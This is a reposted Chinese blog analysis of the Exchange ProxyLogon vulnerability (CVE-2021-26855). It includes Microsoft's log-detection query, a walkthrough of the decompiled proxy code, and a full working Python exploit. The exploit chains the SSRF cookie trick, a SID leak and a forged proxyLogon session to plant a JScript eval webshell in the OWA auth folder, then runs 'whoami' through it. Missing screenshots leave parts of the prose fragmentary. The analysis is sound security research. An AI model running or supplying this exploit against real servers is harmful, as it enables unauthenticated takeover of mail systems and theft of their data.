Exchange- (CVE-2021-26855)SSRF分析


由於之前的Exc漏洞都是建立在已經有了身份驗證的情況下的,這個SSRF的出現改變了這一現狀

這是微軟發布的POWERSHELL檢測方法

Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object {  $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox

而此漏洞的利用方式有如下

1. 通過SSRF漏洞攻擊,訪問autodiscover.xml泄露LegacyDN信息。
2. 在通過LegacyDN,獲取SID。
3. 然后通過合法的SID,獲取exchange的有效cookie。
4. 最后通過有效的cookie,對OABVirtualDirectory對象進行惡意操作,寫入一句話木馬,達到控制目標的效果。

這是與漏洞有關的url

        
/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js

漏洞點位於"C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin" 目錄下的"Microsoft.Exchange.FrontEndHttpProxy.dll"。

 從GetBEResouceCookie方法可以看見 獲取的cookie名叫啥和url以什么格式結尾

 

 

 

 

 

 通過查看看對BEResourceRequestHandler的調用發現SelectHandlerForUnauthenticatedRequest調用了BEResourceRequestHandler

 

 

 根據此請求發現url必須帶有ECP且以上面圖片結尾的后綴,構造demo

 

 

 

 

 

 

只有ProxyToDownLevelGetTargetBackEndServerUrl方法中將其設置為true時才調用方法。此方法檢查用戶是否已通過身份驗證,如果未通過驗證,則返回HTTP 401錯誤。

幸運的是,我們可以GetTargetBackEndServerUrl通過修改Cookie中的服務器版本來防止設置此值。如果版本大於Server.E15MinVersionProxyToDownLevel則為false。進行此更改后,我們成功通過了后端服務(自動發現服務)的身份驗證。而這里需要的version就是下面通過~分割出來的version

 按照極光無限的步驟 附加進程到ECPAPPPOOL

 

 

dnSpy工具附加MSExchangeECPAppPool進程后,burpSuite直接發包后,dnSpy將會斷下,可以看見最后獲取的cookie值

 

 

 

BackEndServer.FromString()函數在處理beresouceCookie時,以"~"符號作為分隔符,進行提取字符串,然后分別賦值給fqdn和verison變量

 

 

 fqdn和verison變量將在ProxyRequestHandler.BeginProxyRequest類里的GetTargetBackEndServerUrl進行調用。
由於我們能控制BackEndServer.Fqdn參數,所以我們就控制了clientUrlForProxy.Host. 最后重構url發送給后端服務器

這里這個url的值就是

 

 

 然后把URL的值賦予給

 

 

 在進入函數CreateServerRequest時,會調用PrepareServerRequest進行uri代理請求的身份認證判斷。(這個認證是判斷你

 

 

 這里有四個判斷前三個直接跳過進入最后一個else

 

 

 

 最后構造完整SSRF exp

 

只有ProxyToDownLevel在GetTargetBackEndServerUrl方法中將其設置為true時才調用該方法。此方法檢查用戶是否已通過身份驗證,如果未通過驗證,則返回HTTP 401錯誤。

幸運的是,我們可以GetTargetBackEndServerUrl通過修改Cookie中的服務器版本來防止設置此值。如果版本大於Server.E15MinVersion,ProxyToDownLevel則為false。進行此更改后,我們成功通過了后端服務(自動發現服務)的身份驗證

有了SSRF我們如何繼續 第一步想到的肯定是直接用EXCHANGE的kerbros請求漏洞路徑如下,但是這個失敗告訴我們此方法肯定不行,那么問題處在哪里吶?

 

 

 我們跟蹤EXP發現如下 每次攻擊時候都使用了ecp/proxyLogon.ecp 我們並未使用到,那么這個的作用是什么吶?又和這步有什么關系?

 

 

 

 

 

 

 我們定位web.config 找到此url指向的是namespace Microsoft.Exchange.Management.ControlPanel dll跟蹤發現此方法會返回一個    this.EcpIdentity 的東西 並且需要傳入三個Header

            string logonAccountSddlSid = context.Request.Headers["msExchLogonAccount"];
            string text = context.Request.Headers["msExchLogonMailbox"];
            string targetMailboxSddlSid = context.Request.Headers["msExchTargetMailbox"];

 

 那么這三個是必須的嗎?

 從上面這一步發現 只要"msExchLogonMailbox"不為空那么我們就能進入下一步

 所以進入EcpLogonInformation identity = EcpLogonInformation.Create(logonAccountSddlSid, text, targetMailboxSddlSid, this.ProxySecurityAccessToken);

 發現

 為什么只需要logonaccountMailbox?

那為什么要POST一段xml數據吶?(我沒有理清這里)

 

 這里我們來看傳入xml數據后如何對它進行處理的?首先處理xml然后是判斷是否正常格式,然后返回token包括groupID userid

 

 

 

 最終構造exp

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

# if len(sys.argv) < 2:
#     print("使用方式: python PoC.py <target> <email>")
#     print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
#     exit()

#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = "192.168.1.102"#sys.argv[1]
email = "administrator@7dap.club"#sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

# webshell-馬子內容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

print("正在獲取Exchange Server " + target+"權限")
print("=============================")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                        "User-Agent": user_agent},
                  verify=False)

if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]


ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
                   data=autoDiscoverBody,

                   verify=False
                   )

if ct.status_code != 200:
    print(ct.status_code)
    print("Autodiscover Error!")
    exit()

if "<LegacyDN>" not in str(ct.content):
    print("Can not get LegacyDN!")
    exit()

legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "X-Requesttype": "Connect",
    "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
    "X-Clientapplication": "Outlook/15.0.4815.1002",
    "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
    "User-Agent": user_agent
},
                   data=mapi_body,
                   verify=False,

                   )
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
    print("Mapi Error!")
    exit()

sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "msExchLogonMailbox": "S-1-5-123",
    "User-Agent": user_agent
},
                   data=proxyLogon_request,

                   verify=False
                   )
if ct.status_code != 241 or not "set-cookie" in ct.headers:
    print("Proxylogon Error!")
    exit()

sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; ",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent

},
                   json={"filter": {
                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                      "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                   verify=False
                   )

if ct.status_code != 200:
    print("POST  shell:https://"+target+"/owa/auth/7dap.club.aspx")
    #print("GetOAB Error!")
    exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
            "properties": {
                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                               "ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=oab_json,
                   verify=False
                   )
if ct.status_code != 200:
    print("Set external url Error!")
    exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                  "properties": {
                      "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                     "FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=reset_oab_body,
                   verify=False
                   )

if ct.status_code != 200:
    print("False")
    exit()

print("Success!")
print("POST  shell:https://"+target+"/owa/auth/test11.aspx")
shell_url="https://"+target+"/owa/auth/test11.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("get shell")
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
if data.status_code != 200:
    print("False")
else:
    print("shellget"+data.text.split("OAB (Default Web Site)")[0].replace("Name                            : ",""))

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM